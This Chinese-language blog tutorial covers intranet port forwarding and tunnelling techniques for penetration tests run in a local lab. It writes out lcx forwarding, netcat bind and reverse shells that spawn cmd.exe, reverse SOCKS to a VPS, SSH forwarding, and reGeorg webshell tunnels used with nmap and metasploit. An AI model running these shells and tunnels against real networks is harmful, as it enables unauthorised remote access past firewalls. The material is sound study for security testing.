最近尝试了一些内网端口的转发和内网穿透,现在一起总结一下

proxy

0x01 正向和反向代理

正向代理中,proxy和client同属一个LAN,对server透明; 反向代理中,proxy和server同属一个LAN,对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。

正向代理(Forward Proxy) : Lhost --> proxy --> Rhost

Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost

反向代理(reverse proxy): Lhost <---> proxy <---> firewall <---> Rhost

和正向代理相反(废话),Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透

简单区分:
正向代理代理的是客户端,反向代理代理的是服务端,正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)

0x02 lcx转发

内网IP:192.168.153.138
公网ip:192.168.153.140
由于是本地实验,我这里将138的防火墙打开,当作内网环境,140防火墙关闭,充当公网ip,所以正常情况下138能访问140,而140不能直接访问138。这是两台机器互相ping的结果。

local_ip

remove_ip

1.内网机器上执行:lcx.exe –slave 公网IP 端口 内网IP 端口

lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389

start_slave

将内网(192.168.153.138)的3389端口转发到公网(192.168.153.138)的4444端口

2.公网(192.168.153.138)执行:lcx -listen 4444 5555

start_master

监听公网4444端口请求,并将4444的请求传送给5555端口。
此时已经把内网的3389端口转发到了公网的5555端口。可以通过127.0.0.1:5555连接到内网的远程桌面。

remove

0x03 nc反弹

正向连接

nc -l -p 5555 -t -e cmd.exe

local

nc -nvv 192.168.153.138 5555

remove

反向连接

在公网监听nc -lp 5555

lieten

在内网机器反弹nc -t -e cmd 192.168.153.140 5555

remove

0x04 socks代理工具

常见的socks代理工具介绍如下
1.Earthworm 工具网址:http://rootkiter.com/EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/

2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。

3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14。

4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。

5.proxychains 工具网址:http://proxychains.sourceforge.net/
Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服务器,支持proxy chain,即可配置多个代理,同一個proxy chain可使用不同类型的代理服务器

linux版
安装

wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
tar -zxf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src

先在本地机器上执行,一般都是你自己的vps:

./rcsocks -l 1080 -p 1234 -v

目标机器上执行,实际渗透情况中加上 -b后台运行

./rssocks -s  192.168.1.100(vps的ip):1234 -v

然后通过本地各种socks代理工具配置代理即可,socks5 192.168.1.100 1080

-- ssh本地转发 --
远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口

ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121

loca_trun

-- ssh远程转发 --
内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。

ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142

请输入图片描述

请输入图片描述

现在在192.168.153.142访问127.0.0.1:81就是访问内网的服务器的80端口

win版本

-- reGeorg+Proxychains代理 --

上传reGeorg的tunnel.jsp到服务器。访问链接,并转发到本地端口。

python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp

trun

使用设置proxychains的代理端口,进行访问,一般配合nmap和metasploit进行后续内网渗透。ps:proxychains不支持udp和icmp协议,所以使用nmap要加上-sT -Pn即使用tcp协议且不使用icmp协议。

set

最后修改:2020 年 02 月 14 日
-